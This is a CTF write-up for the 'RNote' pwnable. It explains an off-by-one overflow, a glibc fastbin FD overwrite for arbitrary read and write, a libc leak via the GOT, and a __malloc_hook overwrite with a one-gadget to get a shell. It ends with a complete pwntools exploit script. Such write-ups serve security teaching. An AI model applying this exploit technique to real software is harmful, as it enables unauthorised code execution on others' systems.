RNote(pwn)
RNote was a pwnable which was only solved by 25 teams, Plus, it used a very interesting attack vector, ie Fastbin->FD overwrite for a arbitary read/write.
You can download the challenge files here
PS: After reading other write-ups, I realized that I over complexicated the process of leaking Libc, I know that I am dumb :(
So, we are provided with the binary, and the libc of the server. This probably means that we have overwrite something to get a shell, and for that, we need the offsets from servers Libc.
As the always first step, we run the binary through file utility
$ file RNote
RNote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=dc8994af689f63aadd197e6efd0b4b33c9fb1db6, stripped
So it's a 64 bit stripped executable
Then we run a checksec on it
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
So it has NX enabled, but no PIE and canary. Good for us
Then we do a test run of the binary, trying to get comfortable around what the binary does. We are provided with a simple menu of a typical heap exploitation problem
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:
We can add a Note, delete a Note, or show a Note. The first thing I checked for was a UAF(use-after-free), by Deleting a Note and then making the binary show it. But no luck.
So to add a Note, we have to first give a size, then a title and then the content
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 1
Please input the note size: 20
Please input the title: ABC
Please input the content: BCD
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice
Maybe there could be a typical heap overflow there, So I enter more words in the content than the size, but still no luck. Looks like there is a read() call with the parameter size as given by us, Since it is only reading the amount of characters as given in size
Since we couldn't find anything, now's the time to reverse the binary. I pop it into Hopper and start reversing the functions. Since there are a lot of functions, it takes quite a bit of time to identify and reverse. Here is the function which was vulnerable to an off-by-one, which is the base of our exploit
00000000004009c8 mov rbp, rsp
00000000004009cb sub rsp, 0x20
00000000004009cf mov qword [ss:rbp+var_18], rdi
00000000004009d3 mov dword [ss:rbp+var_1C], esi
00000000004009d6 mov dword [ss:rbp+var_4], 0x0
00000000004009dd jmp 0x400a41
00000000004009df lea rax, qword [ss:rbp+var_5] ; XREF=sub_4009c7+128
00000000004009e3 mov edx, 0x1 ; argument "nbyte" for method j_read
00000000004009e8 mov rsi, rax ; argument "buf" for method j_read
00000000004009eb mov edi, 0x0 ; argument "fildes" for method j_read
00000000004009f0 call j_read
00000000004009f5 test rax, rax
00000000004009f8 jns 0x400a04
00000000004009fa mov edi, 0x1 ; argument "status" for method j_exit
00000000004009ff call j_exit
0000000000400a04 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+49
0000000000400a07 movsxd rdx, eax
0000000000400a0a mov rax, qword [ss:rbp+var_18]
0000000000400a0e add rdx, rax
0000000000400a11 movzx eax, byte [ss:rbp+var_5]
0000000000400a15 mov byte [ds:rdx], al
0000000000400a17 mov eax, dword [ss:rbp+var_4]
0000000000400a1a movsxd rdx, eax
0000000000400a1d mov rax, qword [ss:rbp+var_18]
0000000000400a21 add rax, rdx
0000000000400a24 movzx eax, byte [ds:rax]
0000000000400a27 cmp al, 0xa
0000000000400a29 jne 0x400a3d
0000000000400a2b mov eax, dword [ss:rbp+var_4]
0000000000400a2e movsxd rdx, eax
0000000000400a31 mov rax, qword [ss:rbp+var_18]
0000000000400a35 add rax, rdx
0000000000400a38 mov byte [ds:rax], 0x0
0000000000400a3b jmp 0x400a49
0000000000400a3d add dword [ss:rbp+var_4], 0x1 ; XREF=sub_4009c7+98
0000000000400a41 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+22
0000000000400a44 cmp eax, dword [ss:rbp+var_1C]
0000000000400a47 jle 0x4009df <----- Vulnerabilty right here
0000000000400a49 mov eax, dword [ss:rbp+var_4] ; XREF=sub_4009c7+116
0000000000400a4c leave
0000000000400a4d ret
; endp
This function was only used to take the input for the Note title, and there is an off by one overflow, This functions takes a size and address parameters, and it reads input char by char upto the given size. But since the indexing starts from 0 and it uses a jle(Jump if less than or equal) instead of jl(Jump if less than), It is vulnerable to an off-by-one overflow.
Now let's pop the binary into GDB and see what we are able to overwrite
So it comes out that we store an array of some struct(we call it Note) in the .bss segment, starting from 0x6020e0 and struct is somewhat like this
struct Note{
int size; <----The size of our Note
int isSet; <----A Boolean variable to check if a Note is set or is deleted
char title[16]; <---- Array to hold the "Title" of the Note
char *content; <---- A pointer to heap for the Note's content, malloc'd with the size above
}
Here is the representation in memory
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000001400000001 0x0000000000434241 <-- Size 0x14, isSet is 1, and 0x434241 is "ABC" in little endian
0x6020f0: 0x0000000000000000 0x0000000000603010 <-- The heap address of out note content
0x602100: 0x0000000000000000 0x0000000000000000
By looking at this, we are able to modify the LSB(Least significant bit) of our heap address(not a full overwrite unfortunately). So how can we use that for a arbitary read/write??
This is where the interesting thing starts, and I will try to explain it as clearly as I can.
Whenever we have heap chunks of size's less than 0x80(on a 64 bit machine), and we free them, they are added to a linked list of Fastbins, It is an array of all linked lists of fastbins, sorted by their size. The lists are also only connected single sidedly, So there is only a FD(Forward) pointer, but no backwards pointer.
So when we free a chunk whose size is less than 0x80 , it is added to the Linked list of Fastbins, and now if we will request a heap chunk of that size again, the fastbin on the front(most recent) of the list will be served, and the FD pointer of that chunk(if it exists), will now be the front of list.
I know it's kinda confusing, but I will explain more deeply along the way. For a super awesome understanding of how heap and everything is managed, you can read this blog post
So if we are somehow able to overwrite FD pointer of a fastbin(not the front one) in the linked list, we would be able to make an heap object at an arbitary location(there's a check/verification also, but we will come to that later), since that FD would be returned to us at sometime when it comes on the top of the fastbin's linked list
So this is what we do.
- We allocate 3 heap objects(Notes) of the same size
- Then we free the last two in reverse order, So as to get a fastbin list
This is how our heap looks before that
gdb-peda$ x/100gx 0x01634000
0x1634000: 0x0000000000000000 0x0000000000000031 <-- 1st object
0x1634010: 0x000000000a626262 0x0000000000000000
0x1634020: 0x0000000000000000 0x0000000000000000
0x1634030: 0x0000000000000000 0x0000000000000031 <-- 2nd object
0x1634040: 0x000000000a626262 0x0000000000000000
0x1634050: 0x0000000000000000 0x0000000000000000
0x1634060: 0x0000000000000000 0x0000000000000031 <-- 3rd Object
0x1634070: 0x000000000a626262 0x0000000000000000
0x1634080: 0x0000000000000000 0x0000000000000000
0x1634090: 0x0000000000000000 0x0000000000020f71
And this is after the Freeing, we first free the 3rd object, and then 2nd. So the second one is at top of the fastbin list
gdb-peda$ x/100gx 0x00b35000
0xb35000: 0x0000000000000000 0x0000000000000031
0xb35010: 0x000000000a626262 0x0000000000000000
0xb35020: 0x0000000000000000 0x0000000000000000
0xb35030: 0x0000000000000000 0x0000000000000031 <--- Free'd object no 2, at the top of Fastbins list
0xb35040: 0x0000000000b35060 0x0000000000000000 <--- FD pointer to the next fastbin --> 0xb35060
0xb35050: 0x0000000000000000 0x0000000000000000
0xb35060: 0x0000000000000000 0x0000000000000031 <--- Free'd object no 3, second in the Fastbin List
0xb35070: 0x0000000000000000 0x0000000000000000 <--- No FD pointer here since it is the last in linked list
0xb35080: 0x0000000000000000 0x0000000000000000
0xb35090: 0x0000000000000000 0x0000000000020f71
And this is here is the Fastbin's array
fastbinsY = {0x0, 0xb35030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, <-- The second linked list which points to our latest free'd object
And this is how it points to addresses
0xb35030 --> 0xb35060 --> 0x0
The fastbins, when we would allocate an object at 0xb35060 , would look at 0xb35060 +0x10 for a fastbin FD pointer, but since there is none, it would end the linked list.
BUT!!, Since we had one byte overwrite, we can overwrite the heap address of the 1st Note to point to 0xb35070, by overwriting the LSB with 0x70,and then we can free it again, Which would then add 0xb35060 to the front of the fastbins list, which would then look like this
fastbinsY = {0x0, 0xb35060, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
here is the.bss after off-by-one overwrite
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000002800000001 0x6161616161616161
0x6020f0: 0x6161616161616161 0x0000000001b6c070 <-- 0x70 is the new overwritten LSB, point to third object
0x602100: 0x0000002800000000 0x0000000000616161
0x602110: 0x0000000000000000 0x0000000001b6c040
0x602120: 0x0000002800000000 0x0000000000616161
0x602130: 0x0000000000000000 0x0000000001b6c070
And here is the tracing of its pointers
0xb35060 --> 0xb35030 --> 0xb35060 --> 0x0 //Technically it won't be 0x0, but just to show end here
Now you may start seeing that where i am getting at. If we now allocate an object of the appropriate fastbin size, it would be allocated at at 0xb35060 , and then 0xb35030 would end up at the front again. This is how the trace would look again
0xb35030 --> 0xb35060 --> Arbitary Location
but since we allocated an object at 0xb35060, we now control the FD pointer, which we can point it to any arbitary location, and get an object there.
But here's another problem, there is a check when we allocate a new object from the fastbin's list
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
It checks if the chunk we are requesting is the same size as the one on the top of FD list, and if it's not, it errors out and program exits.
So what it essentially checks is
if(FD+8 != size requested){
error out
}else allocate object
So we somehow need to find a usefull location to allocate an object where we can bypass the check and even overwrite stuff for our use.
Turns out, the array in .bss segment is the best place to allocate it, since the Note object has a size member, which we can set to any size. And then we can point to FD to size-8 so the check is cleared and we get an object there. And the Note struct also holds a pointer to our content, which we can then overwrite to point to any arbitary location.
Thus here's the plan
We make a Note with the size
0x30as out fastbin chunks are of same size(to use as the fastbin verification)Then we overwrite the FD pointer of our to point at the location of above^ chunk's
size-8member, as fastbin checks at +8Now we allocate some more objects to reach the end of FD list, which now should point to overwritten FD.
Then we make another Note, and the
contentpointer of that Note will now point to our overwritten FD, which is in the.bssitself. Then we overwrite thecontentpointer of the next object to GOT(global offset table), so when we read from it, we actually read from GOT(thus leaking libc)
Here's the visualization of the steps
PS: Sorry for the changed heap addresses everywhere, I forgot to turn of ASLR before doing the write-up :(
Here i added a new chunk of size 0x30
0x6020e0: 0x0000002800000001 0x0000000000636261
0x6020f0: 0x0000000000000000 0x0000000001b6c070
0x602100: 0x0000003000000001 0x0000000000636261 <-- size 30 chunk, at 0x602104
0x602110: 0x0000000000000000 0x0000000001b6c0a0
0x602120: 0x0000002800000000 0x0000000000616161
0x602130: 0x0000000000000000 0x0000000001b6c070
Since the 0x30 is at 0x602104 , We need to add the FD pointer at 0x6020fc
Here is the heap with with overwritten FD
gdb-peda$ x/100gx 0x01b6c000
0x1b6c000: 0x0000000000000000 0x0000000000000031
0x1b6c010: 0x000000000a626262 0x0000000000000000
0x1b6c020: 0x0000000000000000 0x0000000000000000
0x1b6c030: 0x0000000000000000 0x0000000000000031
0x1b6c040: 0x0000000001b6c060 0x0000000000000000
0x1b6c050: 0x0000000000000000 0x0000000000000000
0x1b6c060: 0x0000000000000000 0x0000000000000031
0x1b6c070: 0x00000000006020fc 0x000000000000000a <--- Overwritten FD pointer, comes after the the above object
0x1b6c080: 0x0000000000000000 0x0000000000000000
0x1b6c090: 0x0000000000000000 0x0000000000000041
0x1b6c0a0: 0x000000000a646362 0x0000000000000000
0x1b6c0b0: 0x0000000000000000 0x0000000000000000
0x1b6c0c0: 0x0000000000000000 0x0000000000000000
0x1b6c0d0: 0x0000000000000000 0x0000000000020f31
$$x = y$$
Now I allocate two more objects, which then use up the fastbin list, and now on the top is our overwritten FD
fastbinsY = {0x0, 0x6020fc, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
Now if we request an object of the same size as fastbin, it would be allocated at 0x6020fc. By looking at memory near 0x6020fc, I figured out there's a difference of 12 bytes between between where we start the overwritten Note and the heap address of Note we are overwriting. So I add the Note with content of 12 bytes Junk and then the address I want to overwrite it with
So I overwrite the heap address of the Note's content to that of GOT entry of PUTS(0x602028)
Here is how it looks after the overwrite
gdb-peda$ x/100gx 0x6020e0
0x6020e0: 0x0000002800000001 0x0000000000636261
0x6020f0: 0x0000000000000000 0x0000000001b6c070
0x602100: 0x0000003000000001 0x4242424200636261
0x602110: 0x4242424242424242 0x0000000000602028 <-- Overwritten with GOT + 12 bytes Junk
0x602120: 0x000000280000000a 0x0000000000636261
0x602130: 0x0000000000000000 0x0000000001b6c040
0x602140: 0x0000002800000001 0x0000000000636261
0x602150: 0x0000000000000000 0x0000000001b6c070
0x602160: 0x0000002800000001 0x0000000000414141
0x602170: 0x0000000000000000 0x000000000060210c <-- The newest allocated object, which took the address from FD, and thus we are able to write at that location
And now if you choose the Show Note option, and choose Note 1(0 based indexing), It will end up spitting the GOT address of Puts, from which we can calculate the libc base.
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 3
Which Note do you want to show: 1
note title: abc
note content: `m��\x0e\x7f\x00\x00p_�\x7f\x00\x00����\x0e\x7f\x00\x00�4��\x0e\x7f\x00\x00\x86\x07@\x00\x00\x00\x00\x00\x10_�\x7f\x00\x00
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice:
I wrote a python script which does all the parsing for me
Now since we have an arbitary read, how do we convert it into a write??
I was stuck on this forever, since I can't allocate an object in the GOT(as we can't satisfy the fastbin check above), what can we do?
Then I stumbled upon this article, which was also about the fastbin FD overwrite, and it had a neat little trick to pop up a shell.
What we essentially do is the same as above, but now in libc at the location of __malloc_hook, where we can satisfy the fastbin check too. And then we overwrite the __malloc_hook. Since the __malloc_hook is called before every malloc() call, we thus now the control the RIP, and can use it to pop a shell
The trick was that we don't need to be aligned to 8 bytes for the FD pointer, thus we find a location before __malloc_hook , which then +8 would give only the MSB(Most significant bit) of the address written there. And since the MSB there was 0x7f, we can use fastbins of size 0x70 to fullfill the fastbin check.
The location we choose is 0x7f0ee50f872d(0x3519cd bytes from Puts) which when checked by the fastbin would give the size of 0x7f as the size.
0x7f0ee50f872d: 0x0ee4dbab50000000 0x000000000000007f
0x7f0ee50f873d: 0x0000000000000000 0x0000000000000000
0x7f0ee50f874d: 0x0000000000000000 0x0000000000000000
0x7f0ee50f875d: 0x0000000000000000 0x0000000000000000
The __malloc_hook is at 0x7f0ee50f8740, which is 0x3 bytes from the location where we will start the Note's content
0x7f0ee50f8730 <__realloc_hook>: 0x00007f0ee4dbab50 0x0000000000000000
0x7f0ee50f8740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
Then by using the same technique as we used for libc leak, we allocate an object here, and then overwrite __malloc_hook as we overwrote the heap address in struct to leak libc
We overwrite __malloc_hook with the address of one gadget rce, which i found using the awesome tool by david942j
By using the One Gadget RCE, we don't have to worry about setting parameters/registers to get a shell, as jumping directly to that address set's up everything.
Here is my final script(The offsets I used are for my local Libc, so change them accordingly). And of-course I used pwntools, which are awesome for these type of things
from pwn import *
#Some helper functions to aid in process
PUTSFROMBASE = 458080
HookFromPUTS = 3480013
GOTPUTS = 0x602028
MagicRce = 0xe9f2d #From base
def rc():
r.recvuntil(":")
def addNote(size,title, inp):
r.sendline("1")
rc()
r.sendline(str(size))
rc()
if len(title) >= 17:
r.sendline(title+inp) #Sending together as it sends a newline too, which then end up in next read()'s loop, which exits after newline
else:
r.sendline(title)
r.sendline(inp)
rc()
rc()
def recTitle(num):
r.sendline("3")
rc()
r.sendline(str(num))
data = r.recvuntil("*").split()[2]
rc()
return data
def recData(num):
r.sendline("3")
rc()
r.sendline(str(num))
data = r.recvuntil("*").split()[5]
rc()
return data
def delNote(num):
r.sendline("2")
rc()
r.sendline(str(num))
rc()
#r = remote("rnote.2017.teamrois.cn", 7777)
r = process("./RNote")
rc()
addNote(40, "a"*16+chr(0x70), "bbb")
for m in range(2):
addNote(40, "aaa", "bbb")
for m in reversed(range(1,3)):
delNote(m)
delNote(0)
addNote(40, "abc", p64(0x6020fc))#Aligned address for 0x30
addNote(0x30, "abc", "bcd")#New object with size 0x30 to align object for fastbin verification
for m in range(2):#Filling the FD list
addNote(40, "abc", "AAA")
addNote(40, "AAA", "B"*12+p64(GOTPUTS))
r.interactive()
LIBCPUTS = int(recData(1)[:8][::-1].encode('hex'), 16)
log.info("Libc PUTS Leaked ==> 0x%x"%LIBCPUTS)
MallocHook = LIBCPUTS+HookFromPUTS
LibcBase = LIBCPUTS - PUTSFROMBASE
log.info("Libc Base found ==> %x"%LibcBase)
log.info("Overwriting __Malloc_hook here ==> %x"%MallocHook)
#-------------------------
addNote(40, "BBB", "BBB") #Just another object to keep everything is single byte overflow range
#---------------------------
addNote(0x60, "B"*16+chr(0xf0), "BBB")
for m in range(2):
addNote(0x60, "BBB", "BBB")
for m in reversed(range(7,9)):
delNote(m)
delNote(6)
addNote(0x60, "CCC", p64(MallocHook))
for m in range(2):
addNote(0x60, "BBB", "BBB")
addNote(0x60, "KKK", "A"*3+p64(LibcBase + MagicRce))
log.info("Add a new note and you will have a shell")
r.interactive()